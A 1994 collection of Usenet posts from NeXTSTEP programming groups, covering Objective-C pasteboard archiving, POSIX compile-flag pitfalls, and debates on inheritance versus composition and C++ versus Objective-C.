Newsgroups: comp.sys.next.programmer From: bbum@friday.com Subject: Re: SUMMARY: compiling macutil 2.0b1 on NeXCTStep 3.2 Message-ID: <CL8KA5.3Iz@friday.com> Sender: bbum@friday.com (Bill Bumgarner) Organization: Friday Software & Consulting; a virtual company References: <2jm8ef$jr1@alf.uib.no> Date: Mon, 14 Feb 1994 22:39:40 GMT Thor Legvold writes > Thanks for all the replies. The problem was fixed by adding the > following flag to the Compiler Flags: D_POSIX_SOURCE > > After that it compiled almost perfectly, just some warnings. Make sure that any operation that manipulates directories, the file system, or deals with hierarchies of files works correctly. Using -D_POSIX_SOURCE changes the size of the DIR structure and has a nasty side affect of often hosing the contents of the fstat() statbuf return structure... Same thing happened during the compilation of gzip -- caused the gzip -r flag to fail miserably. b.bum -- b.bum <bbum@friday.com> | "blah blah blah" WhiteLight Systems, INC. | - someone somewhere
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Is Objective - C a dead language ? Date: 15 Feb 1994 12:24:55 -0000 Organization: me organized? That's a joke! Message-ID: <2jqeun$22i@steffi.demon.co.uk> References: <2j3q7s$efl@rosie.next.com> <1994Feb10.111841.343@dart.de> Alexander_Spohr@dART.de wrote in comp.sys.next.programmer >In article <2j3q7s$efl@rosie.next.com> pgraff@graff.next.com (Peter >Graffagnino) writes: >> In article <2j2jvt$112@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert >> Nicholson) writes: >[MUNCH] >> >> So... what does a runtime buy you? Among other things: >> >> * reasoning about classes at runtime (respondsTo:, isKindOf:, ....) >> > >Don't forget to mention AppInspector! With it you can look at any class in a NOT! Try debugging IB with AppInspector some time. It won't work. AI is flakey. I wrote a category of Object to provide me with the runtime information for any object. I call this from within gdb. -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: jds@aplexus.jhuapl.edu (John D Stanhope) Subject: Still having problems archiving to PBoard Message-ID: <CL9u0z.3M1@netnews.jhuapl.edu> Keywords: Archiving, pasteboard Sender: usenet@netnews.jhuapl.edu Organization: Johns Hopkins U. Applied Physics Lab Date: Tue, 15 Feb 1994 15:07:47 GMT Even after the kind help of Ali Ozer from NeXT I am still getting the error Typed streams library error: NXWriteObjectReference: NXWriteRootObject has not been previously done The object I am archiving is a subclass of object that contain a MiscString object and a NXImage object. I dropped the MiscString figuring that they might not have an archiving method (not flaming anyone I hope) but even with just the NXImage I still get the archiving error. As of now things look like this. archiving object - write: (NXTypedStream *)stream { [super write:stream]; NXWriteObject (stream, blockImage); NXWriteTypes (stream, "ffff", &blockImageBounds.origin.x, &blockImageBounds.origin.y, &blockImageBounds.size.width, &blockImageBounds.size.height); return self; } Source drag view - (BOOL)setupForSourceDrag { id pBoard; NXAtom block = "Block"; NXStream *stream; NXTypedStream *ts; pBoard = [Pasteboard newName:NXDragPboard]; [pBoard addTypes:&block num:1 owner:self]; stream = NXOpenMemory(NULL, 0, NX_WRITEONLY); ts = NXOpenTypedStream(stream, NX_WRITEONLY); NXWriteObject(ts, blockSelected); [pBoard writeType:block fromStream:ts]; NXCloseTypedStream(ts); return YES; } If I remove the the NXImage from the archiving object the program then hangs at - witeTypes:block fromStream:ts, should ts be stream? Thanks for your time. John Stanhope ---------------------------------------------------- Otto "Apes don't read philoshpy" Wanda "Sure they do, they just don't understand it" ----------------------------------------------------
From: dekorte@ibm19.scri.fsu.edu (Stephen L. DeKorte) Newsgroups: comp.lang.objective-c,comp.sys.next.programmer,comp.object Subject: Re: Is inheritance a good idea? Date: 15 Feb 1994 15:06:37 GMT Organization: Supercomputer Computations Research Institute Message-ID: <2jqodt$q8d@mailer.fsu.edu> References: <2jio14$3j6@steffi.demon.co.uk> <1994Feb15.002618.13990@prim.demon.co.uk> <CL92H9.7pw@cs.uiuc.edu> johnson@cs.uiuc.edu (Ralph Johnson) writes: >dave@prim.demon.co.uk (Dave Griffiths) writes: > >I suppose that if you >had good enough tools for composing objects then you could forget >about the underlying language, :) >The motto I teach my students is "The world is not object-oriented. >YOU are object-oriented." I don't doubt that the mind is OO on various levels, but I would argue that it is not alone. The structure of most all known organizms is OO. Cell have membranes which have receptor protiens that accept only certian chemical messages. Cells also own internal objects, such as the nucleus which contains the data and enzymes(functions) for reproductive procedures. Organs are similarly OO, but problems arise with keeping higher levels OO - this could lead to a limiting factor in evolutionary complexity(it could make the compexity/time curve asymptotic with time), but that's just a thought. Steve Dekorte
From: Ali_Ozer@NeXT.com (Ali Ozer) Newsgroups: comp.sys.next.programmer Subject: Re: Still having problems archiving to PBoard Date: 15 Feb 1994 15:32:01 GMT Organization: NeXT, Inc. Distribution: world Message-ID: <2jqpth$rjv@rosie.next.com> References: <CL9u0z.3M1@netnews.jhuapl.edu> In article <CL9u0z.3M1@netnews.jhuapl.edu> John D Stanhope writes: > - (BOOL)setupForSourceDrag { > ... > stream = NXOpenMemory(NULL, 0, NX_WRITEONLY); > ts = NXOpenTypedStream(stream, NX_WRITEONLY); > NXWriteObject(ts, blockSelected); > [pBoard writeType:block fromStream:ts]; > NXCloseTypedStream(ts); > } Hmm. I think you have to do a NXWriteRootObject() instead of NXWriteObject() for the root object (in this case, "blockSelected" in your setupForSourceDrag method). You need the former when the objects you are writing out might have references to each other; I believe that this is the case with NXImage (this should probably be documented better). In the writeType:fromStream: method, the stream should be a stream, and not a typedstream. In addition, it must be readable (which your stream isn't). This method will seek it to the beginning for you, so no need for you to do that. If you'd rather not deal with streams, you can also just use NXWriteRootObjectToBuffer(). This will give you back a memory buffer, which you can then pass to Pasteboard's writeType:data:length: method. Then call NXFreeMemoryBuffer() to free the buffer. Ali, Ali_Ozer@NeXT.com
From: cepe@taskon.no Newsgroups: comp.lang.objective-c,comp.object,comp.sys.next.programmer Subject: Re: Is inheritance a good idea? Composition even better! Date: 15 Feb 1994 10:40:47 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <199402151640.AA19096@Norway.EU.net> Ralph Johnson writes: dave@prim.demon.co.uk (Dave Griffiths) writes: >Far from proposing that all functionality be placed into one huge all singing, >all dancing object, I was wondering whether we could develop a suite of >fundamental objects that can just be glued together with something like TCL. >Like Lego. The idea is that you should never have to subclass these objects. >They should also be smart enough that you can link them together to create >more exotic composite objects. And the key to that concept is to have standard >protocols for communication between them. In fact it's possible that the >design of good protocols is more important than the objects themselves. It is not only possible, it is true. But this doesn't imply that there is anything wrong with inheritance, just that composition results in more reusable software. [snip] My experience is that inheritance is easier to think about, so you start off using it first, and then gradually start redesigning your software to make it more compositional. You still use inheritance, but more as a way to organize the component library than as something required to make new kinds of components. I would like to support Ralph Johnson's view. When I first learnt OO programming 6 years ago inheritance and subclassing was a BIG THING. Should Z be subclass of Y or Z was a big issue. The challenges of today is to create good designs. This has far more impact on quality and reusability. When one is to design systems for tomorrow which has to support todays known _and_ tomorrows unknow needs, systems based on composistion gives an unparalelled flexibility. Our company have applied these principles to systems for office support, executive information systems, intelligent network service creation (Telecom stuff) and resource management. These systems all share the same framework and are different compositions, or configurations as we like to call them, of the same basic set of objects. In each of the mentioned systems there are some modules (= some classes) that are peculiar to that system. This is real reuse, we haven't programmed a system from scratch in years. ParcPlace Smalltalk is pretty far along in this evolution. There are some problems with having an extremely compositional system. It is almost like inventing another language, because you start thinking not in terms of your main programming language, but in systems of interconnected objects. This raises the learning curve once again, but provides even more power to the expert. I suppose that if you had good enough tools for composing objects then you could forget about the underlying language, but that hasn't happened to VisualWorks yet. I believe this is the way we will see development go. The tools will appear one day. In my own _humble_ opinion most of todays OO A/D methods are too focused on developing class hierarchies. The structures of objects are more important. Type and class structures can be derived from the object structures. Prof. Trygve Reenskaug, cited as inventor of Smalltalk's MVC, is developing the OOram methodology which supports composition as an equally important feature as subclassing. OOram uses role models as one of it's basic models and a role model describes a structure of cooperating objects. These can be combined into larger models. I have just started reading about Ralph Johnson's patterns and find the idea very interesting and very concrete. A pattern is dealing with design directly, whereas a class hierachy is a means to implement it. >In fact, just to go off the rails completely for a little while, maybe class >heirarchies model the way the brain perceives things and that's why we all >think they're such a good idea. :-} Of course class hierarchies model the way the brain perceives things! Objects, classes, and inheritance are all artificial. All classification is man-made. But so what? If you pick a modeling technique that runs counter to how the brain perceives things, I bet that I won't be able to use it! Models are made _by_ humans _for_ other humans to enable understanding. Machines prefer assembly language. Regards to you all Carl P.S. Followups to comp.object please --------------------------------------------------------------------------------+ Carl P. Swensson Senior Systems Eng. internet: cepe@taskon.no Taskon AS Gaustadalleen 21 Tel: +47-22 95 86 21 N-0371 Oslo, Norway Fax: +47-22 60 44 27 --------------------------------------------------------------------------------+
Newsgroups: comp.lang.objective-c,comp.sys.next.programmer,comp.object From: wave@media.mit.edu (Michael B. Johnson) Subject: Re: Is inheritance a good idea? Message-ID: <1994Feb15.163616.23160@news.media.mit.edu> Sender: news@news.media.mit.edu (USENET News System) Organization: MIT Media Laboratory References: <1994Feb12.132341.12317@prim.demon.co.uk> <2jio14$3j6@steffi.demon.co.uk> <1994Feb15.002618.13990@prim.demon.co.uk> Date: Tue, 15 Feb 1994 16:36:16 GMT In article <1994Feb15.002618.13990@prim.demon.co.uk> dave@prim.demon.co.uk (Dave Griffiths) writes: >>Time to flesh out my ideas about subclassing a little. I was trying to figure >>out why we're all still writing so much code. Why, despite all the hype, it >>still takes quite a while to develop applications on the NeXT (eg Pages, >>WriteUp, NewsGrazer Pro, Newsagent...:). >> >>Far from proposing that all functionality be placed into one huge all singing, >>all dancing object, I was wondering whether we could develop a suite of >>fundamental objects that can just be glued together with something like TCL. >>Like Lego. The idea is that you should never have to subclass these objects. >>They should also be smart enough that you can link them together to create >>more exotic composite objects. And the key to that concept is to have standard >>protocols for communication between them. In fact it's possible that the >>design of good protocols is more important than the objects themselves. What >>is the most significant thing about the building block approach of Unix? It's >>the fact that you have a communication standard - standard in and standard >>out. It's pretty basic, but it's from that that the power of Unix derives. >> Well, this is the whole point of my 3DKit in the WavesWorld palettes; I tried to figure out what where the objects I needed to build any RenderMan based model, and went from there. I then wrote bindings for tcl to manipulate them. This allows me to stay in IB, and the only code I write is tcl, which doesn't need to be compiled to try out. Take a look at the cool apps people have written in tcl/Tk. Some of them certainly had to write C code also, but a well designed object library that has a simple scripting language will buy you a lot. -- --> Michael B. Johnson -- wave@media.mit.edu --> MIT Media Lab -- Computer Graphics & Animation Group --> 20 Ames St. E15-023G -- (617) 547-0563 (day office) --> Cambridge, MA 02139 -- (617) 253-0663 (night office)
From: cepe@taskon.no Newsgroups: comp.lang.objective-c,comp.object,comp.sys.next.programmer Subject: Re: Is inheritance a good idea? Date: 15 Feb 1994 12:02:55 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <199402151802.AA03954@Norway.EU.net> Steve Dekorte wrote: johnson@cs.uiuc.edu (Ralph Johnson) writes: >dave@prim.demon.co.uk (Dave Griffiths) writes: > >I suppose that if you >had good enough tools for composing objects then you could forget >about the underlying language, :) >The motto I teach my students is "The world is not object-oriented. >YOU are object-oriented." I don't doubt that the mind is OO on various levels, but I would argue that it is not alone. The structure of most all known organizms is OO. Cell have membranes which have receptor protiens that accept only certian chemical messages. Cells also own internal objects, such as the nucleus which contains the data and enzymes(functions) for reproductive procedures. Organs are similarly OO, but problems arise with keeping higher levels OO - this could lead to a limiting factor in evolutionary complexity(it could make the compexity/time curve asymptotic with time), but that's just a thought. Steve Dekorte I disagree. I _choose_ to _view_ the world as an OO system. Take an example I use when teaching or presenting OO concepts. The car. Ask anyone to describe a car and he/she would probably say: A car has a body, a drive train, 4 wheels, 2-4 doors, bonnet, etc. etc. (internal objects) and a color (attribute). This is all true and everyone agrees. Ask one of my governments taxation repesentatives (IRS in the US I guess) and he/she would probably say: A car has an owner (referenced object) and a licence number (attribute) and a value (attribute). This is all true and everyone agrees. Ask my automobile engineer, he/she would probably have another decomposistion, which also true and agreeable. I take the view that my car as such do not exist, it is merely a enormous number of atoms, mostly iron (Fe) and aluminum (Al), in tight formation. Probably not untrue. One cannot point at one atom and say that that _is_ the car and the rest of the atoms are parts of my car. If all these different models of a car are true and agreeable then they must all represent a view, a projection, of something else. Some aspects of cars suspension characteristics are probably best described with differential equations. Definitly continous analog systems. Does not sound OO to me. I the world _was_ OO I would expect to find _one_ decomposition. Models are made _by_ humans _for_ other humans to enable understanding. Any model that improves understanding is a good model. I have written too much today, time to go to bed. Good night. Carl P.S. If your intention was to say that all organisms can be viewed in an OO perspective, I agree. --------------------------------------------------------------------------------+ Carl P. Swensson Senior Systems Eng. internet: cepe@taskon.no Taskon AS Gaustadalleen 21 Tel: +47-22 95 86 21 N-0371 Oslo, Norway Fax: +47-22 60 44 27 --------------------------------------------------------------------------------+
Newsgroups: comp.sys.next.programmer From: lapj_ss@troi.cc.rochester.edu (J. LaPierre) Subject: 3Dkit and Renderman, combining surfaces? Message-ID: <1994Feb15.174219.10985@galileo.cc.rochester.edu> Keywords: Renderman 3Dkit surfaces Sender: news@galileo.cc.rochester.edu Organization: University of Rochester - Rochester, New York Date: Tue, 15 Feb 94 17:42:19 GMT I'm having a little trouble smooth shading a surface with the 3Dkit and Interactive Renderman. I have a description of half of a surface which I can render easily with RiPointsPolygons(), but when I have an N3DShape render the two halves with two such calls seperated by an RiScale(1, -1, 1) I get a seam along the middle of the resulting image. The question is then, do I need to actually copy and reflect the vertices, then do it with one call to RiPointsPolygons(), or is there some easier way? I can see how Renderman can do the union with solids but not with surfaces. Maybe there's a 3Dkit function I need to use? The whole interaction between the 3Dkit and Renderman has me a bit lost. I don't suppose there's a book somewhere on the 3Dkit. NextDeveloper docs on the subject seem sketchy at best. Any help will be greatly appreciated. -Jason =============================== Jason LaPierre University of Rochester lapj_ss@troi.cc.rochester.edu ===============================
Newsgroups: comp.sys.next.programmer From: scott@parsec.mixcom.com (Scott Violet) Subject: Creating a DBTableView from scratch Message-ID: <1994Feb15.162832.679@parsec.mixcom.com> Summary: How to create the data source Keywords: DBTableView, DBTableDataSources, Custom Associations Organization: SmartSoft Distribution: usa Date: Tue, 15 Feb 1994 16:28:32 GMT HI all, I'm working on a project in which I need to know how to set the data source of a DBTableView. The documentation on this is pretty minimal. I'm wondering how IB does it in such a manner that the programmer doesn't have to do anything. This is what I'm hoping for. If I create my own DBTableView's to be used in DB environment do I have to create my own custom associations that implement the DBTableDataSources methods? If not, how does one go about doing this? Thanks in advance, -Scott Violet (scott@SmartSoft.com)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: SUMMARY: compiling macutil 2.0b1 on NeXCTStep 3.2 Date: 15 Feb 1994 16:09:26 -0000 Organization: me organized? That's a joke! Message-ID: <2jqs3m$188@steffi.demon.co.uk> References: <2jm8ef$jr1@alf.uib.no> <CL8KA5.3Iz@friday.com> bbum@friday.com wrote in comp.sys.next.programmer >Thor Legvold writes >> Thanks for all the replies. The problem was fixed by adding the >> following flag to the Compiler Flags: D_POSIX_SOURCE >> >> After that it compiled almost perfectly, just some warnings. > >Make sure that any operation that manipulates directories, the file system, >or deals with hierarchies of files works correctly. Using -D_POSIX_SOURCE >changes the size of the DIR structure and has a nasty side affect of often >hosing the contents of the fstat() statbuf return structure... > >Same thing happened during the compilation of gzip -- caused the gzip -r >flag to fail miserably. Hear hear, my preference would always be direct over dirent. If you can avoid posix under NextStep do it. -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
From: pearl@fig.citib.com (Eric Pearl) Newsgroups: comp.lang.objective-c,comp.sys.next.programmer,comp.object Subject: Re: Is inheritance a good idea? Date: 15 Feb 1994 14:31:32 -0500 Organization: Citibank GCMS/FTN Development Message-ID: <2jr7uk$3ou@dogie.ftn.us-ny.citicorp.com> References: <2jio14$3j6@steffi.demon.co.uk> <1994Feb15.002618.13990@prim.demon.co.uk> <CL92H9.7pw@cs.uiuc.edu> <2jqodt$q8d@mailer.fsu.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit In article <2jqodt$q8d@mailer.fsu.edu>, Stephen L. DeKorte <dekorte@ibm19.scri.fsu.edu> wrote: [...] >I don't doubt that the mind is OO on various levels, but I would argue >that it is not alone. The structure of most all known organizms is OO. Yeah, and if this group were named comp.functional-decomposition, someone would be making the case that `most all [sic] known organizms [sic]' are FD in nature. OO or FD is a way to model something. The model does not make the reality. The reality just _is_. You can choose to view or model it any way that suits you. >Steve Dekorte ------------------------------------------------------------------------- Eric Pearl pearl@fig.citib.com
From: joe@retina.anatomy.upenn.edu (Joe Panico) Newsgroups: comp.sys.next.programmer Subject: redisplay of custom view Date: 15 Feb 1994 20:52:44 GMT Organization: Dept. of Neuroscience, U. of Pennsylvania Distribution: world Message-ID: <2jrcms$4gi@netnews.upenn.edu> Hi, I'm having trouble understanding when views redisplay with respect to the function (method) from which thehe display call was made. Specifically: -aMethod { ...do some stuff [increment progressView] } Here progressView is the progress indicator fully described in the tutorial on custom palettes, in /NextLibrary/Documentation/NextDev/DevTools/18_CustomPalete @implentation ProgressView: Object -increment { ... fiddle with internal state ... call some PS drawing code [self display] } @end the aMethod call above will work correctly (at least apparently). But in: -aMethod { for(i=0;i<1000;i++) { ... do some work [increment progressView]; } the progressView display is not updated with each iteration of the loop (increment method call). Instead, the progressView indicator does not update until AFTER the method has been exited. Can someone point me in the right direction, or point me to the approriate source of information? Thanks. Joe Panico joe@retina.anatomy.upenn.edu
From: david.geary@mccaw.com (David Geary) Newsgroups: comp.sys.next.programmer Subject: C++VsObjC (was Re: Is Objective-C a dead language?) Date: 15 Feb 1994 20:23:36 GMT Organization: McCaw Cellular Communications, Inc. Distribution: world Message-ID: <2jrb08$5op@ftp-p.mccaw.com> References: <1994Feb15.025645.758@corona.com> Peter Kron writes > >1) Run-time binding/type checking. >So-called strong type-checking of C++ has never panned out as a >time-saving improvement. IHMO it is an overreaction to the bad old >days of pre-prototyped C, when passing arguments to a function was >full of danger, and argument mismatches ate up hours of debugging >time. C++ developers spend a disproportionate amount of time >struggling with class definitions and the resulting multiple >inheritance, virtual base classes and templates, then usually defeat >them all by resorting to casting some object pointer in the end. >Objective-C is much more flexible, much simpler, yet just as safe. Your point is that ObjC is just as safe as C++ as long as the C++ developer is circumventing the type system. I'd agree with that. Of course, you're also implying that most C++ developers circumvent the type system, and I'd agree with that also. Aside from efficiency concerns, strong type-checking (when not circumvented) does not permit an object to send another object a message it cannot understand; that's it's claim to fame. Whether that safety net is needed or not is the question. >2) Encapsulation C++ static objects, vtables, default parameters, and >inline methods all violate encapsulation, in that internal changes to >objects used by programs force the programs themselves to be >recompiled. How are we to build software ICs on that foundation? > That's an interesting slant on encapsulation, albeit a valid one. >3) Simplicity. C++ is a complicated mess. Classes are not objects >that have neither metaclass info nor polymorphism. Constructors are >hybrid beasts that don't invoke virtual functions like other member >functions. Look at a class library that uses the "power" of C++ and >you will likely be mystified as to what it does...hopefully you won't >have to maintain it. > Well, yeah, C++ is quite a mess. Many exceptions to many rules; it takes years to become really proficient, I believe. >Objective-C on the other hand is simple. You can do anything with it >that you can do with C++, and you will spend your time addressing the >problem, not the language. C++ has many good qualities, such as support for different levels of access and encapsulation between classes, however ObjC is much simpler. Although I can't help but feel like ObjC is the Honda I'm driving while I'd really be happier with a BMW (Smalltalk). -- // David Geary Seattle: America's most Attractive City ... // david.geary@mccaw.com ... to the _Jetstream_ // NeXTMail OK
From: joe@retina.anatomy.upenn.edu (Joe Panico) Newsgroups: comp.sys.next.programmer Subject: NEXTSTEP Development Tools and Techniques Date: 15 Feb 1994 23:15:29 GMT Organization: Dept. of Neuroscience, U. of Pennsylvania Distribution: world Message-ID: <2jrl2h$e3m@netnews.upenn.edu> Hi, Is the entire contents of "NEXTSTEP Development Tools and Techniques" contained in the online d(librarian) documentation with NSI 3.2, or is there more valuable information in the hard-copy. Thanks. Joe Panico joe@retina.anatomy.upenn.edu
Newsgroups: comp.sys.next.programmer From: rpomeroy@aunext1.amd.com (Ron Pomeroy x(Coop)) Subject: Re: C++VsObjC (was Re: Is Objective-C a dead language?) Message-ID: <CLALE7.73G@dvorak.amd.com> Sender: news@dvorak.amd.com (Usenet News) Organization: Advanced Micro Devices, Austin TX References: <2jrb08$5op@ftp-p.mccaw.com> Date: Wed, 16 Feb 1994 00:58:54 GMT In article <2jrb08$5op@ftp-p.mccaw.com> david.geary@mccaw.com (David Geary) writes: >>Peter Kron writes >>> >> Although I can't help but feel like ObjC is the Honda I'm driving while I'd >>really be happier with a BMW (Smalltalk). >> >>-- >>// David Geary Seattle: America's most Attractive City .. >>// david.geary@mccaw.com ... to the _Jetstream_ >>// NeXTMail OK Yea, but you'll need to drop a V6 or maybe a V8 in it ;) -- Ronald Pomeroy Advanced Micro Devices CAM Applications Group rpomeroy@aunext1.amd.com
From: mchenry@sj.ate.slb.com (Stephen McHenry) Newsgroups: comp.lang.objective-c,comp.object,comp.sys.next.programmer Subject: On abstraction; was Re: Is inheritance a good idea? Date: 15 Feb 1994 21:43:50 GMT Organization: Schlumberger Technolgies Distribution: world Message-ID: <2jrfmm$dbi@k2.San-Jose.ate.slb.com> References: <199402151802.AA03954@Norway.EU.net> In article <199402151802.AA03954@Norway.EU.net>, cepe@taskon.no writes: > I _choose_ to _view_ the world as an OO system. Take an example I use when > teaching or presenting OO concepts. The car. > > Ask anyone to describe a car and he/she would probably say: A car has a body, > a drive train, 4 wheels, 2-4 doors, bonnet, etc. etc. (internal objects) > and a color (attribute). This is all true and everyone agrees. One abstraction of a car... > > Ask one of my governments taxation repesentatives (IRS in the US I guess) and > he/she would probably say: A car has an owner (referenced object) and a > licence number (attribute) and a value (attribute). This is all true and > everyone agrees. Another abstraction of a car... > > Ask my automobile engineer, he/she would probably have another > decomposistion, which also true and agreeable. Yet another abstraction of a car... > > I take the view that my car as such do not exist, it is merely a enormous > number of atoms, mostly iron (Fe) and aluminum (Al), in tight formation. > Probably not untrue. One cannot point at one atom and say that that _is_ > the car and the rest of the atoms are parts of my car. A fourth abstraction of a car... And, if you ever let *me* drive your car, the junkyard owner would view your car as a weight (attribute) and a dollar (oere?) value (small attribute) :-) A fifth view of a car... > > If all these different models of a car are true and agreeable then they must > all represent a view, a projection, of something else. Yes, of the total car, not all of which is important to modeling the car in a particular application domain. Specifically, if you are building a car object for you government taxation rep (pronounced "ogre" :-) ), he is not concerned with the iron, aluminum concept of a car. You could choose to incorporate it into your object, to have a more complete abstraction of a car, but it would take time (which kind of translates to "costs money", since we're building software systems), and would not help you solve the problem any better. Therefore, we choose to abstract the essential qualities of "car" that are necessary to our application. It is likely that a complete "car" (if we had the time and patience to build one) would be too large to be practical for use in any system we are likely to build. > > Some aspects of cars suspension characteristics are probably best described > with differential equations. Definitly continous analog systems. Does not > sound OO to me. Why not? Some defined set of inputs (the way I drive, for example) yields some output(s) (broken!) based upon the behavior characteristics. None of this violates the idea that the behavior of the car can be encapsulated. > > I the world _was_ OO I would expect to find _one_ decomposition. I'm not prepared to declare that a unified object could not be obtained - perhaps from the union of all of the views of the object that we currently have. But then, someone might say - yes, but we haven't captured all of the characteristics because our understanding increases over time. So, our models (or more precisely - our unified model) grow to match our understanding. This does not preclude the possibility of a single representation. But, I (for one) don't have the patience to capture all of the aspects of objects for which a suitable abstraction will suffice. > > Models are made _by_ humans _for_ other humans to enable understanding. > Any model that improves understanding is a good model. Agreed. > > I have written too much today, time to go to bed. Good night. Good night! Sleep well! =============================================================================== Stephen McHenry | The very best Training & Consluting in... Advanced Software Technologies, inc.| Object Oriented Analysis and Design 305 Vineyard Town Center, Suite 251 | internet: stephen@softi.com Morgan Hill, CA 95037 | Phone: (408)776-2720; Fax: (408)847-6459 ===============================================================================
Newsgroups: comp.lang.objective-c,comp.sys.next.programmer,comp.object From: tmh@darla.asd.sgi.com (Todd Hoff) Subject: Re: Is inheritance a good idea? Message-ID: <CLA0GH.8CA@odin.corp.sgi.com> Sender: news@odin.corp.sgi.com (Net News) Organization: Silicon Graphics, Inc. References: <1994Feb12.132341.12317@prim.demon.co.uk> <2jio14$3j6@steffi.demon.co.uk> <1994Feb15.002618.13990@prim.demon.co.uk> Date: Tue, 15 Feb 1994 17:26:40 GMT In article <1994Feb15.002618.13990@prim.demon.co.uk>, dave@prim.demon.co.uk |>In fact, just to go off the rails completely for a little while, maybe class |>heirarchies model the way the brain perceives things and that's why we all |>think they're such a good idea. :-} ... |> Life itself evolved as a result of basic cells grouping together to form |> more |> complex objects, and so should our software. :-) |> |> Dave Griffiths Different design goals :-) The problem is Biological Evolution != Software Evolution and Wetware != Software. At the root of the differences is our human need for accuracy, predictability, fault tolerance, reproducability, explainability, and modifiability. Out of the above list biological systems only support fault tolerance, but it in a way that isn't acceptable to humans, and add extreme adaptability which isn't generally consistent with the other human goals. Our brains, for example, work well in both the absence of complete information and in the face of a lot of noise. We make a lot of wrong decisions, but we act, and generally do well enough to survive and even prosper. This is not an acceptable software standard. Programs must work correctly all the time no matter what the circumstances. Our bank deposits must make into our accounts no matter what. Customers will accept no less a standard. Failure of an organism is acceptable. It dies. Failure of a species is acceptable. They all die. Another species will evolve to fit the niche, perhaps with very different characterisitcs than its unfit predecessor. Programs however cannot fail. Software cannot die. Programs must be predictable, they must be right. Partial answers or "good enough" solutions are not generally acceptable. Again, few of us would accept that a deposit did not show up in our bank account because the interface between software generations was a little off, or a preditor evolved that feeds on deposits, or a software ecology died because of a natural disaster, parasites, resource starvation, or for any other reason. This is why i don't hold much hope for large software systems being built out of smaller systems with just a little "glue" tying the whole ecosystem together. -- Todd Hoff
From: preece@urbana.mcd.mot.com (Scott E. Preece) Newsgroups: comp.lang.objective-c,comp.object,comp.sys.next.programmer Subject: Re: Is inheritance a good idea? Date: 16 Feb 1994 03:08:55 GMT Organization: Motorola MCG, Urbana Design Center Distribution: world Message-ID: <PREECE.94Feb15210857@predator.urbana.mcd.mot.com> References: <199402151802.AA03954@Norway.EU.net> n-reply-to: cepe@taskon.no's message of 15 Feb 1994 12:02:55 -0600 Xref: courier.urbana.mcd.mot.com comp.lang.objective-c:2062 comp.object:14035 comp.sys.next.programmer:15202 In article <199402151802.AA03954@Norway.EU.net> cepe@taskon.no writes: | I the world _was_ OO I would expect to find _one_ decomposition. | | Models are made _by_ humans _for_ other humans to enable understanding. | Any model that improves understanding is a good model. --- The paper "Subject-Oriented Computing" at the last OOPSLA takes this view as does Craig Chambers's work on Predicate Classes. If you really want to root your model in the real world, you need to use a model that doesn't pretend that an object is a member of exactly one class, from birth to death. I hope something that recognizes this catches on. scott -- scott preece motorola/mcg urbana design center 1101 e. university, urbana, il 61801 phone: 217-384-8589 fax: 217-384-8550 internet mail: preece@urbana.mcd.mot.com
Newsgroups: comp.sys.next.programmer From: Robert La Ferla <Robert_La_Ferla@hot.com> Subject: Re: Is inheritance a good idea? Message-ID: <1994Feb15.194155.3525@hot.com> Sender: robertl@hot.com Organization: Hot Technologies References: <1994Feb15.002618.13990@prim.demon.co.uk> Date: Tue, 15 Feb 1994 19:41:55 GMT Charles Perkins designed such a system. It's called Voila and he says he'll be releasing it soon under the GNU license. Robert La Ferla Hot Technologies NEXTSTEP ISV and Consulting In article <1994Feb15.002618.13990@prim.demon.co.uk> dave@prim.demon.co.uk (Dave Griffiths) writes: > Time to flesh out my ideas about subclassing a little. I was trying to figure > out why we're all still writing so much code. Why, despite all the hype, it > still takes quite a while to develop applications on the NeXT (eg Pages, > WriteUp, NewsGrazer Pro, Newsagent...:). > > Far from proposing that all functionality be placed into one huge all singing, > all dancing object, I was wondering whether we could develop a suite of > fundamental objects that can just be glued together with something like TCL. > Like Lego. The idea is that you should never have to subclass these objects. > They should also be smart enough that you can link them together to create > more exotic composite objects. And the key to that concept is to have standard > protocols for communication between them. In fact it's possible that the > design of good protocols is more important than the objects themselves. What > is the most significant thing about the building block approach of Unix? It's > the fact that you have a communication standard - standard in and standard > out. It's pretty basic, but it's from that that the power of Unix derives. > > With these fundamental objects you should be able to construct the more > complicated AppKit objects that NeXT supply. Take Menu for instance. Looked > at in the abstract, it's a pretty simple concept. A window with a list of > cells. The cells can be disabled, they can have one of those arrow icons, > they can send an action when clicked, etc. There's nothing particuarly > _special_ about any of this, so why should it be done in subclasses? Well OK, > you may say, what about when a submenu is brought up - it sticks to it's > parent menu. But this can be made into a general behaviour of Window itself: > the ability to attach another window (or windows) at a certain relative > position. Bingo, you've added a feature to Window that may be useful in other > situations. And there really isn't that much difference between a MenuCell and > an NXBrowserCell. Nothing that can't be handled by configuration by the > external "glue". If the designers of the AppKit had striven to _avoid_ > subclassing, I'm sure the resulting objects would have been more re-usable > and there'd be less need for _us_ to subclass them. > > I'd like to be able to build a more complex object like NXBrowser in > Interface Builder just using some basic objects plus TCL scripts. The same > goes for DBTableView or even a simple spreadsheet. > > I think it's possible that an inheritance tree encourages a top-down view, > encourages specialization, whereas we should be building from the bottom-up > and encouraging generalization. > > In fact, just to go off the rails completely for a little while, maybe class > heirarchies model the way the brain perceives things and that's why we all > think they're such a good idea. :-} Isn't it more efficient for the brain to > form abstractions such as "an animal has four legs", rather than remembering > that "sheep have four legs", "cows have four legs", and so on? But how does > nature actually _create_ cows and sheep? I'm no expert on biology, but I don't > think there's a gene for "four legged-ness" of which a sheep has one subclass > and a cow another. Instead, animals are made of hundreds of thousands of > fundamental objects - genes. > > Life itself evolved as a result of basic cells grouping together to form more > complex objects, and so should our software. :-) > > Dave Griffiths
